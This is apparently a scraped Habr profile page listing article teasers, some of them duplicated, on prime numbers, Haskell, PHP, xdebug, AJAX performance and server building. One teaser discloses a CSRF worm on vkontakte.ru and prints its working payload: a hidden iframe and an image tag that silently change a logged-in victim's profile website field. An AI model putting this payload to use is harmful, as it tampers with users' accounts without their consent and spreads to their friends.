Всем привет, меня зовут Антон, и как вы могли уже догадаться из названия, решил я рассказать о своих попытках вкатиться в робототехнику, а в частности о своем дроне из Raspberry Pi и ESP32.
Виталий @Snart
Пользователь
Неожиданная красота простых чисел
8 min
64KTranslation
Значимость простых чисел, как в повседневном применении, так и во всех отраслях математики, невозможно переоценить. Мы спокойно полагаемся на их особые свойства, используя их как фундамент бесчисленного количества элементов нашего общества, ведь они являются неделимой частью самой ткани природы. Простые числа, устойчивые к любому делению на множители, часто называют «атомами» мира математики. Карл Саган сказал о них так:
Очень важен статус простых чисел как фундаментальных строительных блоков всех чисел, которые сами являются строительными блоками нашего понимания Вселенной.
В природе и в нашей жизни простые числа используются повсюду: цикады выстраивают по ним свои жизненные циклы, часовщики применяют их для вычисления тиканья, а в авиационных двигателях с их помощью балансируется частота воздушных импульсов. Однако все эти области применения бледнеют на фоне факта, знакомого каждому криптографу: простые числа находятся в самом сердце современной компьютерной безопасности, то есть они напрямую несут ответственность за защиту всего. Видите замок в адресной строке браузера? Да, это значит, что используется двухключевое «рукопожатие», основанное на простых числах. Как защищается при покупках ваша кредитная карта? Тоже при помощи криптографии на основе простых чисел.
Однако несмотря на то, что мы постоянно полагаемся на их уникальные свойства, простые числа оставались для нас неуловимыми. На протяжении всей истории математики величайшие умы пытались доказать теорему о предсказании чисел, являющихся простыми, или о том, как далеко друг от друга они должны располагаться.
+152
Чтение на лето: книги для технарей
5 min
56KМы собрали книги, которые рекомендуют своим коллегам по цеху резиденты Hacker News. Здесь нет справочников или руководств по программированию, зато есть любопытные издания о криптографии и теоретической информатике, об основателях IT-компаний, есть и научная фантастика, написанная разработчиками и о разработчиках — как раз то, что можно взять в отпуск.
+18
Удивительная Курта
3 min
6.9KTranslation
Возможно, ни один калькулятор любого типа не вызывал столько дискуссий, сколько Курта. Хотя об этом невероятном устройстве и его создателе может быть написана целая книга, в этой статье приведена лишь небольшая часть информации.
+77
Система Webmoney интегрируется в социальные сети
1 min
711WebMoney Transfer объявила о запуске принципиально нового и уникального продукта под брендом Keeper Embedded. Это бизнес-платформа для блогов, социальных сетей, онлайн-игр, сообществ, web 2.0 проектов.
Участники любого сообщества и социальной сети, будь то «Хабрахабр», Facebook или World of Warcraft, теперь могут одним нажатием мышки связать свой существующий WM-кошелек с аккаунтом в нужной им социальной сети.
После этого становится возможным проведение микроплатежей и взаиморасчётов внутри коммьюнити. Например, таким образом владельца «Хабрахабра» или Livejournal могут наладить автоматические платежи в пользу самых активных участников коммьюнити на сайте или организовать систему взаиморасчётов за карму. Весь биллинг берёт на себя WebMoney Transfer. Размер денежной комиссии и технические вопросы решаются в договорном порядке. По умолчанию владельцы сообщества получают процент от всех исходящих платежей своих юзеров.
В качества образца уже создан первый плагин Webmoney для социальной сети Facebook.
Участники любого сообщества и социальной сети, будь то «Хабрахабр», Facebook или World of Warcraft, теперь могут одним нажатием мышки связать свой существующий WM-кошелек с аккаунтом в нужной им социальной сети.
После этого становится возможным проведение микроплатежей и взаиморасчётов внутри коммьюнити. Например, таким образом владельца «Хабрахабра» или Livejournal могут наладить автоматические платежи в пользу самых активных участников коммьюнити на сайте или организовать систему взаиморасчётов за карму. Весь биллинг берёт на себя WebMoney Transfer. Размер денежной комиссии и технические вопросы решаются в договорном порядке. По умолчанию владельцы сообщества получают процент от всех исходящих платежей своих юзеров.
В качества образца уже создан первый плагин Webmoney для социальной сети Facebook.
+36
Эффект джунглей.
2 min
1.1KСегодня наткнулся на один сайт, фон которого скроллится при ресайзе окна браузера, прикольно, ничего не скажешь, но этого мне было мало. Поэтому, захотелось сделать так, что бы фон скроллился постоянно безо всяких гифов и флешей. Включил свою любимую музыку и… вуаля! :)
То, что я здесь накатал использует jQuery, и писалось это очень быстро. Поэтому, сильно не пинайте :)
Где это можно применить? Ну уж точно не на всём сайте, но для открытки либо странички-визитки\презентации — я считаю, самое оно :)
+30
Торт на Сисадминов день
1 min
1.2KНе смог удержаться, запостил. Таким хочется поделиться со всеми друзьями компьютерщиками :)
Надеюсь, он еще и вкусный :)
Надеюсь, он еще и вкусный :)
+85
Избавляемся от дополнительных настроек jabber-клиента в Google apps
2 min
6.9KСудя по количеству плюсов к посту про использование google apps в качестве сервера jabber эта тема волнует хабрапользователей. Поэтому я решил внести свои пять копеек.
В документации гугла сказано, что при настройке кастомного клиента нужно вводить в свойствах соединения сервер talk.google.com и порт. Это очень не удобно, так как надо всё время помнить эти настройки, да и затрудняет настройку клиента вашими родственниками/знакомыми, которых пугает только одно слово порт :) Почему-то в документации к google apps этого не сказано, но прописать адрес и порт, которые должны быть использовать при подключении, можно в srv записях dns, да именно там, где вы указаывали адреса для федеративных сетей.
Добавляем запись типа:
И вауля, клиент коннектится безо всяких танцев и дополнительных настроек.
В документации гугла сказано, что при настройке кастомного клиента нужно вводить в свойствах соединения сервер talk.google.com и порт. Это очень не удобно, так как надо всё время помнить эти настройки, да и затрудняет настройку клиента вашими родственниками/знакомыми, которых пугает только одно слово порт :) Почему-то в документации к google apps этого не сказано, но прописать адрес и порт, которые должны быть использовать при подключении, можно в srv записях dns, да именно там, где вы указаывали адреса для федеративных сетей.
Добавляем запись типа:
_xmpp-client._tcp.yourdomain.com. IN SRV 5 0 5222 talk.google.com.
И вауля, клиент коннектится безо всяких танцев и дополнительных настроек.
+47
Основы
8 min
13KСегодня я постараюсь рассказать самые основы, такие, как базовые типы данных, типы функций, ФВП, списки (в том числе и бесконечные).
Последующие статьи:
Типы данных, паттерн матчинг и функции
Классы типов, монады
Последующие статьи:
Типы данных, паттерн матчинг и функции
Классы типов, монады
+66
Вступление
1 min
3.8KHaskell достаточно необычный язык. Но, несмотря на немалое количество статей по нему, нередко можно столкнуться с мнением, что всё это помогает лишь в синтетических примерах. И действительно, на простых примерах всё выглядит просто, но куда сложнее представить себе хотя бы небольшую программу в таком стиле, а статьи зачастую рассматривают особенности языка. Поэтому я захотел написать серию статей, в течение которых мы изучим возможности языка и попробуем написать простой чат. Почему именно чат? Потому что там есть место и многопоточности, и GUI клиента, и БД сервера. Хотя я с удовольствием послушал бы и ваши предложения, так как мне самому интересно, насколько этот язык удобен для решения более сложных задач.
Так что, если вас это заинтересует, то я рискну.
Основы
Типы данных, паттерн матчинг и функции
Классы типов, монады
Так что, если вас это заинтересует, то я рискну.
Основы
Типы данных, паттерн матчинг и функции
Классы типов, монады
+58
Создание EXE приложений на PHP
5 min
37KINTRO
Все мы знаем что PHP предназначен для быстрого создания динамических Web страниц. Во всяком случае именно это написано на официальном сайте разработчиков PHP. Однако почему бы не попробовать найти PHP «немного» иное применение, например, попробовать создать полноценное приложение для Windows? Заинтересовал? Тогда понеслась!
Все мы знаем что PHP предназначен для быстрого создания динамических Web страниц. Во всяком случае именно это написано на официальном сайте разработчиков PHP. Однако почему бы не попробовать найти PHP «немного» иное применение, например, попробовать создать полноценное приложение для Windows? Заинтересовал? Тогда понеслась!
+42
Страны, регионы, города
1 min
119KХочу поделиться базой стран, регионов и городов на русском языке. Возможно, кому-то пригодиться в своих проектах. В базе 106 стран, 922 региона и 10969 городов!
Если кто не понял о чем речь, то вспомните, например, как на ВКонтакте указывается город: выбирается страна -> подгружается список регионов -> выбирается регион -> подгружается список городов
+120
Profiling PHP Applications With xdebug
8 min
41KTranslation
Добро пожаловать в третью статью о xdebug. Уже сейчас вы должны были попробовать xdebug, если нет, сделайте это сегодня ;-).
В первой статье рассказывалось о том, как установить и настроить xdebug, описывались некоторые простейшие возможности, такие как улучшение вывода функции var_dump() или вывод трассировки стека вызовов при получении сообщения об ошибке. Во второй части мы рассмотрели такую возможность xdebug как трассировку. Трассировка содержит все вызовы функций и методов в программе, время запуска, опционально размер памяти, передаваемые и возвращаемые параметры. Лог трассировки может помочь вам понять пути выполнения сложной программы. Вместо того чтобы вставлять отладочный код внутрь программы, вы включаете или выключаете трассировку в тем места где нужно, а потом используете утилиты подобные grep или собственно написанные приложения на PHP для анализа лог файла.
В первой статье рассказывалось о том, как установить и настроить xdebug, описывались некоторые простейшие возможности, такие как улучшение вывода функции var_dump() или вывод трассировки стека вызовов при получении сообщения об ошибке. Во второй части мы рассмотрели такую возможность xdebug как трассировку. Трассировка содержит все вызовы функций и методов в программе, время запуска, опционально размер памяти, передаваемые и возвращаемые параметры. Лог трассировки может помочь вам понять пути выполнения сложной программы. Вместо того чтобы вставлять отладочный код внутрь программы, вы включаете или выключаете трассировку в тем места где нужно, а потом используете утилиты подобные grep или собственно написанные приложения на PHP для анализа лог файла.
+23
CSRF на vkontakte.ru
1 min
7.8KОбнаружил забавную атаку на сайт vkontakte.ru.
При переходе на сайт tvoydohod.com, если вы в этот же момент авторизованы на вконтакте, отработает следующий джаваскрипт:
Как видно, будет запрошена картинка с адресом vkontakte.ru/profileEdit.php?page=contacts&subm=1&website=http://tvoydohod.com, броузер сделает запрос по этому УРЛу, и на анкете в vkontakte ваше поле «Веб-сайт» станет равным tvoydohod.com.
Затем в вашем профайле, ваш друг, который вам доверяет кликнет на этот линк, и изменит профайл себе… И т д.
Этот вид атак называется Cross Site Request Forgery. В вики описаны все противоядия и куча полезной инфы.
Сам по себе CSRF довольно скучен. Но в данном случае забавно то, что каждый заразившийся становится разносчиком CSRF-линка.
Отписал в тех-поддержку, где столкнулся с «Это не баг!», «Не кликайте по подозрительным ссылкам!» и прочим. Надеюсь пользователей они ценят и поправят.
А вам было интересно узнать о таком простом «вирусе», который живет целиком в соц-сети =)
При переходе на сайт tvoydohod.com, если вы в этот же момент авторизованы на вконтакте, отработает следующий джаваскрипт:
<script> function doit() { var html; html = '<img src=http://vkontakte.ru/profileEdit.php?page=contacts&subm=1&website=http://tvoydohod.com>'; window.frames["frm"].document.body.innerHTML = html; } </script> <iframe name="frm" onload="doit()" width="0" height="0"></iframe>
Как видно, будет запрошена картинка с адресом vkontakte.ru/profileEdit.php?page=contacts&subm=1&website=http://tvoydohod.com, броузер сделает запрос по этому УРЛу, и на анкете в vkontakte ваше поле «Веб-сайт» станет равным tvoydohod.com.
Затем в вашем профайле, ваш друг, который вам доверяет кликнет на этот линк, и изменит профайл себе… И т д.
Этот вид атак называется Cross Site Request Forgery. В вики описаны все противоядия и куча полезной инфы.
Сам по себе CSRF довольно скучен. Но в данном случае забавно то, что каждый заразившийся становится разносчиком CSRF-линка.
Отписал в тех-поддержку, где столкнулся с «Это не баг!», «Не кликайте по подозрительным ссылкам!» и прочим. Надеюсь пользователей они ценят и поправят.
А вам было интересно узнать о таком простом «вирусе», который живет целиком в соц-сети =)
+143
Стартовал рейтинг TOP-100 веб-студий 2008
1 min
673Привет, хабралюди! Вчера вечером Тэглайн стартовал очередной, третий по счету, рейтинг «TOP-100 ведущих веб-студий Рунета 2008». Сейчас идет этап предварительной регистрации представителей веб-студий.
В прошлом году проект вызвал много споров и обсуждений. В этом году, судя по всему, организаторы скорректировали методику, добавили новые критерии, а также планируют построить ряд локальных рейтингов по крупнейшим городам России и СНГ: Санкт-Петербург, Новосибирск, Нижний Новгород, Екатеринбург, Самара, Омск, Казань, Челябинск, Владивосток, Пермь, Уфа, Красноярск, Иркутск, Киев, Минск.
Проект по-прежнему, как я понимаю, остается одним из немногих, которые вообще пытаются как-то проанализировать ситуацию на рынке разработки сайтов и дать какие-то количественные оценки ситуации — объему рынка, количеству игроков, сегментации, технологиям и т.п.
Так же в этом году анонсирована оценка работ студий из TOP-20 по качеству работ.
+30
Высокопроизводительные AJAX-приложения
1 min
706Translation
Примечание: ниже перевод презентации «High Performance Ajax Applications», подготовленной ведущим специалистом из Yahoo (а теперь уже из Apple) Julien Lecomte. В ней автор освещает некоторые аспекты оптимизации как JavaScript-приложений, так и веб-сайтов вообще. В целом, советов много, и почти все, действительно, по делу. Однако, встречается и откровенная реклама Yahoo :) Мои комментарии далее курсивом.
читать дальше на webo.in →
Часть 1. Разработка для высокой производительности
Планируем и проектируем для высокой производительности
- Ориентируемся на производительность с самого первого дня
- Тесно работаем с дизайнерами и менеджерами продукта
- Понимаем рациональность дизайна
- Объясняем компромиссы между дизайном и производительностью
- Предлагаем альтернативы и показываем, что еще возможно (на уровне прототипа)
- Пробуем силы в реализации нетривиального дизайна (нельзя сразу говорит «нет»)
- Помогаем упростить дизайн и взаимодействие с пользователем (добиваемся компромисса)
читать дальше на webo.in →
+69
Веб сервер за пару вечеров — II
5 min
11KМногие из нас собирали компьютер сами, из комплектующих. Дело не сложное, соединить с десяток шлейфов, да завинтить столько же винтиков. Но мало кто сталкивался с самостоятельной сборкой серверов, причем не обычных а в промышленном формате под стойку 19 дюймов. В этом небольшом обзоре я опишу свой опыт сборки такого сервера, постараюсь показать что это не сложно, и остановлюсь на главных моментах, на что нужно смотреть. На написание этого обзора меня толкнуло то, что информации о сборке rack 19’ серверов в рунете очень мало, и приходилось её искать буквально по крупицам.
+140
Information
- Rating
- Does not participate
- Location
- Киев, Киевская обл., Украина
- Date of birth
- Registered
- Activity